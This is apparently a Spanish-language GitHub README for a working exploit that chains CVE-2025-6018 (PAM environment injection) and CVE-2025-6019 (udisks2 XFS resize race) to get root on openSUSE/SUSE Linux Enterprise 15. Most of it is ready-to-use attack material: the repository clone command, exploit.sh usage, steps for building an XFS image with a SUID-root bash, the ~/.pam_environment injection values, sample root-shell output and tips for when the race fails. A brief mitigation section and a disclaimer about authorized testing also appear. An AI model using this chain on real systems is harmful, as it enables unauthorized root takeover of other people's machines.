
CVE-2025-6018 CVE-2025-6019 PoC Exploit - Escalada de privilegios local en openSUSE/SUSE Linux Enterprise 15 - bypass de PAM + condición de carrera en udisks2 XFS LPE a root
PoC/Exploit funcional para CVE-2025-6018 y CVE-2025-6019 - Escalada de privilegios de un usuario sin privilegios a root en openSUSE Leap 15.x y SUSE Linux Enterprise 15.x
| CVE ID | Vulnerabilidad | Impacto |
|---|---|---|
| CVE-2025-6018 | Inyección de Variables de Entorno en PAM | Bypass al estado allow_active de polkit |
| CVE-2025-6019 | Condición de Carrera en XFS Resize de udisks2/libblockdev | Shell root |
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
# Check vulnerability
./exploit.sh --check
# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup
# Reconnect SSH, then: su - $USER
# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
⚠️ Nota: openSUSE Leap 15.6 llega a su fin de vida el 30 de abril de 2026. Después de esta fecha, no se publicarán parches de seguridad. Los usuarios deben migrar a Leap 16.0 o a SLES con soporte extendido.
user_readenv=1allow_active: yes para acciones de udisks2./exploit.sh --check
./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER
./exploit.sh --exploit /tmp/xfs.img
./exploit.sh --auto /tmp/xfs.img
./exploit.sh --create-image
Ejecutar en la máquina ATACANTE como root:
⚠️ DEBES usar el binario
/usr/bin/bashde la víctima, no uno local. Un binario de bash de una distro diferente (Kali, Arch, Ubuntu, etc.) fallará en el objetivo debido a la incompatibilidad de ABI de glibc/bibliotecas compartidas, incluso en la misma arquitectura x86_64.
El script detecta automáticamente tu versión de xfsprogs y aplica las opciones correctas:
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash
# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
sudo su -
# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash
# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # MUST show: -rwsr-xr-x
# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/
La imagen XFS debe formatearse con opciones compatibles con el kernel del objetivo. Las versiones más recientes de xfsprogs habilitan por defecto funciones en disco que los kernels SUSE más antiguos no pueden leer, lo que provoca errores de wrong fs type, bad superblock durante el montaje de redimensionado de udisks2.
| Destino | Kernel | Comando mkfs.xfs |
|---|---|---|
| SUSE 15 SP5-SP6 | 5.14 / 6.4 | mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img |
| SUSE 15 SP1-SP4 | 4.12 - 5.3 | mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
¿Por qué? exchange y parent son funciones del kernel 6.10+ (activadas por defecto en xfsprogs 6.x). bigtime, inobtcount y nrext64 son funciones del kernel 5.10+. El comando "compat" de SP1-SP4 (-m crc=0,reflink=0) crea un formato XFS V4 con todas las funciones modernas deshabilitadas, que funciona en todos los SP de SUSE 15.
Vulnerabilidad: El módulo pam_env de PAM lee ~/.pam_environment con user_readenv=1 (valor predeterminado en SUSE), lo que permite la inyección de variables de entorno.
Explotación: Establece XDG_SEAT=seat0 y XDG_VTNR=1 para engañar a systemd-logind y conseguir que otorgue privilegios polkit allow_active.
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
Vulnerabilidad: Al redimensionar el sistema de archivos XFS a través de udisks2, libblockdev monta temporalmente el sistema de archivos sin la bandera nosuid.
Explotación:
./exploit.sh --check
Salida:
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
./exploit.sh --setup
exit
ssh user@target
su - $USER
./exploit.sh --check
Salida:
[+] allow_active status: YES
You have allow_active privileges!
# On attacker:
scp xfs.img user@target:/tmp/
./exploit.sh --exploit /tmp/xfs.img
Salida:
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#
# Disable user_readenv in PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
# Or restrict udisks2 polkit policy
# Change allow_active from "yes" to "auth_admin"
Esta herramienta es únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no se hacen responsables de ningún uso indebido.
CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev
⭐ ¡Dale una estrella a este repositorio si te ayudó! ⭐
| Problema | Causa | Solución |
|---|
allow_active: NO | El bypass de PAM no está activo | Ejecuta --setup, sal de SSH, reconéctate y ejecuta su - $USER |
Image is not XFS | Formato de sistema de archivos incorrecto | Usa mkfs.xfs, no mkfs.ext4 |
SUID not working | Permisos no establecidos | Verifica los permisos -rwsr-xr-x en la máquina atacante |
Race condition missed | Problema de sincronización | Ejecuta el exploit de nuevo (normalmente funciona en 1-3 intentos) |
Segfault del binario SUID o GLIBC_x.xx not found | Binario de bash de la distro equivocada (incompatibilidad de glibc/ABI) | Usa el binario /usr/bin/bash de la víctima mediante scp, no tu bash local |
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other error | Imagen XFS formateada con funciones que el kernel del objetivo no puede leer (incompatibilidad de versión de xfsprogs) | Crea la imagen con mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img para SP5/SP6, o con mkfs.xfs -f -m crc=0,reflink=0 xfs.img para SP1-SP4 |
XFSRace ConditionSecurityVulnerabilityPentest